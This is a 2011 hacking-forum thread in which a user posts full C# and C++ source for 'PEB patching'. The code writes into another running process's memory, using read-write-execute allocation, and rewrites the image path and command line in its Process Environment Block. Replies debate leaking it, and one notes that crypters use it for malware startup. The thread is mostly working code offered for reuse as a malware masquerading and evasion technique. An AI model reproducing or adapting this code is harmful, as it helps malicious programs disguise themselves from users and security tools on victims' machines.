

Forum:[Hack Forums](#)

Thread: [PEB Patch || tested and Worked :P](#)

DragQueen - September 26, 2011, 1:35 am

its a tranlaste from c++ code
credits go to 'RTFLOL'
i hope for nice tnks comment's
convert it took me couple hours,
and bcz some problem's
i move'd to unsafe code

[it faster and cleaner
to write some char's Or byte's
by WriteProcessMemory with void*
it so easy. use Fixed statement
with pointer to array]

v2 version [fixed]

<http://pastebin.com/8mujr2ps>

v1 version

C# code

```
Code using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Runtime.InteropServices;
using System.Diagnostics;
```

```
namespace cSharp
```

```
{
    /// <summary>
    /// [SRC] Patch ImageBase in PEB
    /// Coded by RTFLOL
    /// Released on http://hackhound.org/
    /// Convert'd by Me.
    /// </summary>
    unsafe class PEBPatcher
    {
        [StructLayout(LayoutKind.Sequential)]
        struct UNICODE_STRING : IDisposable
        {
            public ushort Length;
            public ushort MaximumLength;
            public IntPtr buffer;

            public UNICODE_STRING(string s)
            {
                Length = (ushort)(s.Length * 2);
```

```
MaximumLength = (ushort)(Length + 2);
buffer = Marshal.StringToHGlobalUni(s);
}
```

```
public void Dispose()
{
    Marshal.FreeHGlobal(buffer);
    buffer = IntPtr.Zero;
}
```

```
public override string ToString()
{
    return Marshal.PtrToStringUni(buffer);
}
}
```

```
[StructLayout(LayoutKind.Sequential, Pack = 1)]
struct PROCESS_BASIC_INFORMATION
{
    public IntPtr ExitStatus;
    public IntPtr PebBaseAddress;
    public IntPtr AffinityMask;
    public IntPtr BasePriority;
    public UIntPtr UniqueProcessId;
    public IntPtr InheritedFromUniqueProcessId;

    public int Size
    {
        get { return (6 * IntPtr.Size); }
    }
}
```

```
[DllImport("ntdll.dll", SetLastError = true)]
static extern int NtQueryInformationProcess(IntPtr processHandle,
int processInformationClass, ref PROCESS_BASIC_INFORMATION processInformation, int
processInformationLength,
IntPtr returnLength);
```

```
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, int dwSize, int
flAllocationType, int flProtect);
```

```
[DllImport("kernel32.dll")]
static extern IntPtr OpenProcess(int dwDesiredAccess, [MarshalAs(UnmanagedType.Bool)] bool
bInheritHandle, int dwProcessId);
```

```
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool ReadProcessMemory(
IntPtr hProcess,
IntPtr lpBaseAddress,
void* lpBuffer,
int dwSize,
out int lpNumberOfBytesRead
```

```

);

[DllImport("kernel32.dll", SetLastError = true)]
static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, void* lpBuffer, int
nSize, out UIntPtr lpNumberOfBytesWritten);

public static bool Patch(IntPtr handle, string path, string cmdLine)
{
    //
    // Get Handle
    //

    var intOutput = 0;
    var IntPtrOutput = IntPtr.Zero;
    var UIntPtrOutput = UIntPtr.Zero;
    var hProcess = handle;

    PROCESS_BASIC_INFORMATION pbi = new PROCESS_BASIC_INFORMATION();
    NtQueryInformationProcess(hProcess, 0, ref pbi, Marshal.SizeOf(pbi), (IntPtr)0);
    var peb = pbi.PebBaseAddress;

    var rtlUserProcParamsAddress = IntPtr.Zero;
    if (!ReadProcessMemory(hProcess, peb + 0x10, (void*)&rtlUserProcParamsAddress,
Marshal.SizeOf(typeof(IntPtr)), out intOutput))
    {
        Console.WriteLine("ERROR: Could not read rtlUserProcParamsAddress!\n");
        return false;
    }

    UNICODE_STRING Current_ImageBase = new UNICODE_STRING();
    if (!ReadProcessMemory(hProcess, rtlUserProcParamsAddress + 0x38, &Current_ImageBase,
Marshal.SizeOf(typeof(UNICODE_STRING)), out intOutput))
    {
        Console.WriteLine("ERROR: Could not read ImageBase of the target process.\n");
        return false;
    }

    //
    // Update data
    //

    var input = string.Empty;
    IntPtr pNewAddr = IntPtr.Zero;
    char[] array = null;

    //
    // <-- Path -->
    //

    input = path;
    array = input.ToArray();

    Current_ImageBase.Length = (ushort)(input.Length * 2);

```

```

    pNewAddr = VirtualAllocEx(hProcess, IntPtr.Zero, Current_ImageBase.Length, /*
AllocationType.Commit */ 0x1000 | /* AllocationType.Reserve */ 0x2000, /*
MemoryProtection.ExecuteReadWrite */ 0x40);
    if (pNewAddr == IntPtr.Zero)
    {
        Console.WriteLine("ERROR: Could not allocate memory in target process.\n");
        return false;
    }
    fixed (char* arr = array)
    {
        if (!WriteProcessMemory(hProcess, pNewAddr, (void*)arr, Current_ImageBase.Length, out
uIntPtrOutput))
        {
            Console.WriteLine("ERROR: Failed to write to address.\n");
            return false;
        }
    }

    Current_ImageBase.buffer = pNewAddr;
    if (!WriteProcessMemory(hProcess, rtlUserProcParamsAddress + 0x38, &Current_ImageBase,
Marshal.SizeOf(typeof(UNICODE_STRING)), out uIntPtrOutput))
    {
        Console.WriteLine("ERROR: Failed to reflect change back to PEB.\n");
        return false;
    }

    //
    // <-- cmdLine -->
    //

    input = cmdLine;
    array = input.ToArray();

    Current_ImageBase.Length = (ushort)(input.Length * 2);
    pNewAddr = VirtualAllocEx(hProcess, IntPtr.Zero, Current_ImageBase.Length, /*
AllocationType.Commit */ 0x1000 | /* AllocationType.Reserve */ 0x2000, /*
MemoryProtection.ExecuteReadWrite */ 0x40);
    if (pNewAddr == IntPtr.Zero)
    {
        Console.WriteLine("ERROR: Could not allocate memory in target process.\n");
        return false;
    }
    fixed (char* arr = array)
    {
        if (!WriteProcessMemory(hProcess, pNewAddr, (void*)arr, Current_ImageBase.Length, out
uIntPtrOutput))
        {
            Console.WriteLine("ERROR: Failed to write to address.\n");
            return false;
        }
    }

    Current_ImageBase.buffer = pNewAddr;

```

```

    if (!WriteProcessMemory(hProcess, rtlUserProcParamsAddress + 0x40, &Current_ImageBase,
Marshal.SizeOf(typeof(UNICODE_STRING)), out ulIntPtrOutput))
    {
        Console.WriteLine("ERROR: Failed to reflect change back to PEB.\n");
        return false;
    }

    //
    // Done
    //

    return true;
}
public static bool Patch(int dwPid, string path, string cmdLine)
{
    return Patch(
        OpenProcess(/* ProcessAccessFlags.All */ 0x001F0FFF, false, dwPid),
        path, cmdLine);
}
}

class Program
{
    static void Main(string[] args)
    {
        PEBPatcher.Patch(
            Process.GetProcessesByName("notepad")[0].Id,
            "c:\\windows\\aaa.cmd",
            "c:\\windows\\aaa.cmd bbb ccc ddd");

        PEBPatcher.Patch(
            Process.GetProcessesByName("notepad")[1].Handle,
            "c:\\windows\\aaa.cmd",
            "c:\\windows\\aaa.cmd bbb ccc ddd");
    }
}

```

C++ code

```

Code #include <stdio.h>
#include <windows.h>
#include <cstdlib>
#include <string>
using namespace std;

```

```

// [SRC] Patch ImageBase in PEB
// http://www.ic0de.org/showthread.php?8435-SRC-Patch-ImageBase-in-PEB
//
// Coded by RTFLOL
// Released on http://hackhound.org/
// Date: 2/1/2010

```

```

/*

```

This application patches an ImageBase of an external executable and replaces it with the path of this file.

Please give credits if you use. Don't be a ripper fag, k?

*/

```
typedef struct _UNICODE_STRING
```

```
{
    USHORT Length;
    USHORT MaximumLength;
    PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;
```

```
typedef struct _PROCESS_BASIC_INFORMATION
```

```
{
    LONG ExitStatus;
    PVOID PebBaseAddress;
    ULONG_PTR AffinityMask;
    LONG BasePriority;
    ULONG_PTR UniqueProcessId;
    ULONG_PTR ParentProcessId;
} PROCESS_BASIC_INFORMATION, *PPROCESS_BASIC_INFORMATION;
```

```
typedef LONG (WINAPI *_NtQueryInformationProcess)(
```

```
    HANDLE ProcessHandle,
    DWORD ProcessInformationClass,
    PVOID ProcessInformation,
    DWORD ProcessInformationLength,
    PDWORD ReturnLength
);
```

```
_NtQueryInformationProcess NtQueryInformationProcess =
```

```
    (_NtQueryInformationProcess)GetProcAddress(GetModuleHandleA("ntdll.dll"),
"NtQueryInformationProcess");
```

```
int Patch(DWORD dwPid, WCHAR *path, WCHAR *cmdLine)
```

```
{
    //
    // Get Handle
    //
```

```
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
```

```
    PROCESS_BASIC_INFORMATION pbi;
    NtQueryInformationProcess(hProcess, 0, &pbi, sizeof(pbi), NULL);
    PVOID peb = pbi.PebBaseAddress;
```

```
    PVOID rtlUserProcParamsAddress = NULL;
```

```
    if (!ReadProcessMemory(hProcess, (PCHAR)peb + 0x10, &rtlUserProcParamsAddress,
sizeof(PVOID), NULL))
```

```
    {
        printf("ERROR: Could not read rtlUserProcParamsAddress!\n");
        return GetLastError();
    }
```

```

    UNICODE_STRING Current_ImageBase;
    if (!ReadProcessMemory(hProcess, (PCHAR)rtlUserProcParamsAddress + 0x38,
&Current_ImageBase, sizeof(Current_ImageBase), NULL))
    {
        printf("ERROR: Could not read ImageBase of the target process.\n");
        return GetLastError();
    }

    //
    // Update data
    //

    WCHAR *input;
    LPVOID pNewAddr;

    //
    // <-- Path -->
    //

    input = path;

    Current_ImageBase.Length = IstrlenW(input) * 2;
    pNewAddr = VirtualAllocEx(hProcess, NULL, Current_ImageBase.Length, MEM_COMMIT |
MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (!pNewAddr)
    {
        printf("ERROR: Could not allocate memory in target process.\n");
        return GetLastError();
    }
    if (!WriteProcessMemory(hProcess, pNewAddr, input, Current_ImageBase.Length, NULL))
    {
        printf("ERROR: Failed to write to address.\n");
        return GetLastError();
    }

    Current_ImageBase.Buffer = (WCHAR*)pNewAddr;
    if (!WriteProcessMemory(hProcess, (PCHAR)rtlUserProcParamsAddress + 0x38,
&Current_ImageBase, sizeof(Current_ImageBase), NULL))
    {
        printf("ERROR: Failed to reflect change back to PEB.\n");
        return GetLastError();
    }

    //
    // <-- cmdLine -->
    //

    input = cmdLine;

    Current_ImageBase.Length = IstrlenW(input) * 2;
    pNewAddr = VirtualAllocEx(hProcess, NULL, Current_ImageBase.Length, MEM_COMMIT |
MEM_RESERVE, PAGE_EXECUTE_READWRITE);

```

```

if (!pNewAddr)
{
    printf("ERROR: Could not allocate memory in target process.\n");
    return GetLastError();
}
if (!WriteProcessMemory(hProcess, pNewAddr, input, Current_ImageBase.Length, NULL))
{
    printf("ERROR: Failed to write to address.\n");
    return GetLastError();
}

Current_ImageBase.Buffer = (WCHAR*)pNewAddr;
if (!WriteProcessMemory(hProcess, (PCHAR)rtlUserProcParamsAddress + 0x40,
&Current_ImageBase, sizeof(Current_ImageBase), NULL))
{
    printf("ERROR: Failed to reflect change back to PEB.\n");
    return GetLastError();
}

//
// Done
//

return 1;
}

int main(void)
{
    wchar_t
        *path = L"c:\\windows\\aaa.cmd",
        *cmdLine = L"c:\\windows\\aaa.cmd test";

    if (Patch(
        3032,
        path,
        cmdLine))
    {
        printf("\n... All done. <!>\n");
    }
    else
    {
        printf("\n... Faile'd. <!>.\n");
    }

    system("PAUSE");
    return 0;
}

```

cyberdog - September 26, 2011, 9:01 am

what is PEB patch what is this code use ?? lolz

Gh0st-Zer0 - September 26, 2011, 12:17 pm

(Sep 26, 2011 09:01 AM)cyberdog Wrote: [\[CITE\]](#) what is PEB patch what is this code use ?? lolz

PEB Patching is an exciting programming snippet. For more info read [Here Wiki](#) ?

N3oNight - September 26, 2011, 1:53 pm

Can some one translate it to VB.Net
Grate share mate..

Banks? - September 26, 2011, 2:06 pm

Just gonna put this out there.

THIS SHIT IS FUCKING PRIVATE FOR A FUCKING REASON.

DragQueen - September 26, 2011, 2:27 pm

(Sep 26, 2011 02:06 PM)?anksy Wrote: [\[CITE\]](#) Just gonna put this out there.

THIS SHIT IS FUCKING PRIVATE FOR A FUCKING REASON.

now not :devlish

Spoiler ([Click to View](#))

?????

(Sep 26, 2011 01:53 PM)L3G!T™ Wrote: [\[CITE\]](#) Can some one translate it to VB.Net

Grate share mate..

not me buddy.

i dont spend any time on this shit :P

Ethernal Five - September 26, 2011, 2:35 pm

I still dont understand what it does. Can someone explain? :P

Gh0st-Zer0 - September 26, 2011, 2:35 pm

(Sep 26, 2011 02:06 PM)?anksy Wrote: [\[CITE\]](#) Just gonna put this out there.

THIS SHIT IS FUCKING PRIVATE FOR A FUCKING REASON.

You said Private?? PEB patching is a method that is posted everywhere(Just google it)... the fact that is a snippet that in most cases is written in C++ doesn't mean that someone can't translate it into a managed .net code!?

But i just want to ask, "PRIVATE" for whom?

Why something must be in private? If you code this then i can understand...but if you dont then i really can't! It's supposed that hackers support the freedom of INFO, in any way!?

Also could you please mention any other reason that this should be in private except the (Leecher sk1ds reason?)

Also if a sk1d download this and compile it, in most of cases wouldn't know how to use this. Why? Well that's simple, cause he will probably don't know what the thing is used for!

(For example: If a sk1d download a dll Injector, he will probably don't know how to use it cause he will probably don't know that you can't inject managed code into a running process, but only unmanaged!)

or another example from real life:

Let's hypothetically imagine that our grandpa taking our cellphone in his hands for a reason, he will probably been unable to reach our pictures folder that we have our girlfriends naked photos. So that's why we don't care about our cellphone and we place it in any spots of our home!

Also another simple example is a kid taking in his hands a serious piece of a mathematic algorythm,

he will probably throw this in his garbage because he doesn't know his value!?

So the same thing is happening with skids and programming snippets!?

(Sep 26, 2011 02:35 PM)uitklappbare eekhoorn Wrote: [\[CITE\]](#) I still don't understand what it does. Can someone explain? :PPEB means Process Environment Block (abbreviated as PEB). With this you can patch your application's PEB. What can you achieve by that? Well magical things... you have to make a research of your own right now and read [THIS](#)

.bLaZeD - September 26, 2011, 2:41 pm

Seriously..don't fucking release this fucking shit.

DragQueen - September 26, 2011, 2:41 pm

(Sep 26, 2011 02:35 PM)Gh0st-Zer0 Wrote: [\[CITE\]](#) You said Private?? PEB patching is a method that is posted everywhere(Just google it)... the fact that is a snippet that in most cases is written in C++ doesn't mean that someone can't translate it into a managed .net code!?

But i just want to ask, "PRIVATE" for whom?

Why something must be in private? If you code this then i can understand...but if you don't then i really can't! It's supposed that hackers support the freedom of INFO, in any way!?

Also could you please mention any other reason that this should be in private except the (Leecher sk1ds reason?)

Also if a sk1d download this and compile it, in most of cases wouldn't know how to use this. Why? Well that's simple, cause he will probably don't know what the thing is used for!

(For example: If a sk1d download a dll Injector, he will probably don't know how to use it cause he will probably don't know that you can't inject managed code into a running process, but only unmanaged!)

or another example from real life:

Let's hypothetically imagine that our grandpa taking our cellphone in his hands for a reason, he will probably been unable to reach our pictures folder that we have our girlfriends naked photos. So that's why we don't care about our cellphone and we place it in any spots of our home!

Also another simple example is a kid taking in his hands a serious piece of a mathematic algorithm, he will probably throw this in his garbage because he doesn't know his value!?

So the same thing is happening with skids and programming snippets!?

skid will not use it bcz i use UnSafe code.

and skid probably don't know how to compile it.

Gh0st-Zer0 - September 26, 2011, 2:43 pm

(Sep 26, 2011 02:41 PM)DragQueen Wrote: [\[CITE\]](#) skid will not use it bcz i use UnSafe code. and skid probably don't know how to compile it.

You use UnSafe code? And what by that? Now it's more easy for some sk1ds to translate this into VB.Net and compile it! I think that you need to get more informed of what Safe and UnSafe code is....

If you read what i wrote up, you will realize that we are saying exactly the same thing to Bansky and .bLaZeD

Also nathan72389 down on me is right!

nathan72389 - September 26, 2011, 2:45 pm

yeah, idk, good job there DragQueen.

i have seen this in vb6 and delphi. I dont know much cpp so i never looked.

i dont know why everyone is getting pissed about it being posted, i mean, its not like it hasent been around since what? 1998?

DragQueen - September 26, 2011, 2:45 pm

(Sep 26, 2011 02:43 PM)Gh0st-Zer0 Wrote: [\[CITE\]](#) If you read what i wrote up, you will realize that we are saying the same thing to Bansky and .bLaZeD

i know. [i dont against you LOL]

Spoiler ([Click to View](#))

i try to help u :P

(Sep 26, 2011 02:45 PM)nathan72389 Wrote: [\[CITE\]](#) yeah, idk, good job there DragQueen.

i have seen this in vb6 and delphi. I dont know much cpp so i never looked.

i dont know why everyone is getting pissed about it being posted, i mean, its not like it hasent been around since what? 1998?

look in v2 code.

[safe and unsafe way]

HOLY COW MAN - September 26, 2011, 6:06 pm

Uhm, Why is everyone pissed about this being "leaked/released"? I guarantee you NO skids will be able to C+P this, considering they don't even know what it does, let alone how to implement it.

Gh0st-Zer0 - September 26, 2011, 6:23 pm

(Sep 26, 2011 06:06 PM)HOLY COW MAN Wrote: [\[CITE\]](#) ..let alone how..

Made a mistake:

Spoiler ([Click to View](#))Haha , Funny Greek Expression, You just can't implement Greek expression Into English one![/b]

DragQueen - September 26, 2011, 6:45 pm

(Sep 26, 2011 06:06 PM)HOLY COW MAN Wrote: [\[CITE\]](#) Uhm, Why is everyone pissed about this being "leaked/released"? I guarantee you NO skids will be able to C+P this, considering they don't even know what it does, let alone how to implement it.

there is some that understand what it does :P

it took me some hour's to fully understand what it does.

and i think its good enough.

HOLY COW MAN - September 26, 2011, 6:49 pm

(Sep 26, 2011 06:23 PM)Gh0st-Zer0 Wrote: [\[CITE\]](#) ???

Haha , Funny Greek Expression, You just can't implement Greek expression Into English one! ?????

Uhm what? Let alone may be a Greek expression, however, it's still an English expression, so I don't see how I can't use it.

@OP

Implementing it is different than understanding how it works though.

Gh0st-Zer0 - September 26, 2011, 8:42 pm

(Sep 26, 2011 06:49 PM)HOLY COW MAN Wrote: [\[CITE\]](#) Uhm what? Let alone may be a Greek expression, however, it's still an English expression, so I don't see how I can't use it.

@OP

Implementing it is different than understanding how it works though.
Yes, what i was thinking??? Sorry my mistake Pal! :D

HOLY COW MAN - September 27, 2011, 12:32 am

@OP

I'm not 100% sure, but doesn't PEB Patching patch the File's "Current Directory" when injected into an executable? Or is this a RunPE type deal?

Gh0st-Zer0 - September 27, 2011, 1:11 am

(Sep 27, 2011 12:32 AM)HOLY COW MAN Wrote: [\[CITE\]](#) @OP

I'm not 100% sure, but doesn't PEB Patching patch the File's "Current Directory" when injected into an executable? Or is this a RunPE type deal?

What you said is one of the uses of PEB Patching, you can do a lot of things also!

MoonWalker - September 27, 2011, 1:36 am

Very useful snippet. Thanks a lot for sharing this.

Ph03.nix - September 27, 2011, 5:38 am

Thank you very much for this AWESOME share!

I've tried already to translate it form c++ myself but I failed.
So thank you very much for it ?

DragonHunter - September 27, 2011, 10:39 am

When I'm looking at the C++ source I'm just lolling did not look at the C# version yet tho but you can access for C# and C++ the memory using pointers
No need to call any api to access PEB btw

The structs/APIs are already defined so no need to put them there again in C++
And never use this, PROCESS_ALL_ACCESS

Oh well none the less good work ^_^ (if u coded it)

DragQueen - September 27, 2011, 11:38 am

(Sep 27, 2011 10:39 AM)DragonHunter Wrote: [\[CITE\]](#) When I'm looking at the C++ source I'm just lolling did not look at the C# version yet tho but you can access for C# and C++ the memory using pointers

No need to call any api to access PEB btw

The structs/APIs are already defined so no need to put them there again in C++
And never use this, PROCESS_ALL_ACCESS

Oh well none the less good work ^_^ (if u coded it)
i didnt code it :P
just translated it

Xori - September 27, 2011, 1:43 pm

(Sep 27, 2011 10:39 AM)DragonHunter Wrote: [\[CITE\]](#) When I'm looking at the C++ source I'm just lolling did not look at the C# version yet tho but you can access for C# and C++ the memory using pointers

No need to call any api to access PEB btw

The structs/APIs are already defined so no need to put them there again in C++
And never use this, PROCESS_ALL_ACCESS

Oh well none the less good work ^_^ (if u coded it)

It's coded by RTFLOL and it's been around for a while, from what I understand most of the s00par crypters out there that allow you to use server startup use this one...

People shouldn't rage over it being reposted or "releasing" now though,

Quote:// Coded by RTFLOL

// Released on <https://hackforums.net/>

// Date: 2/1/2010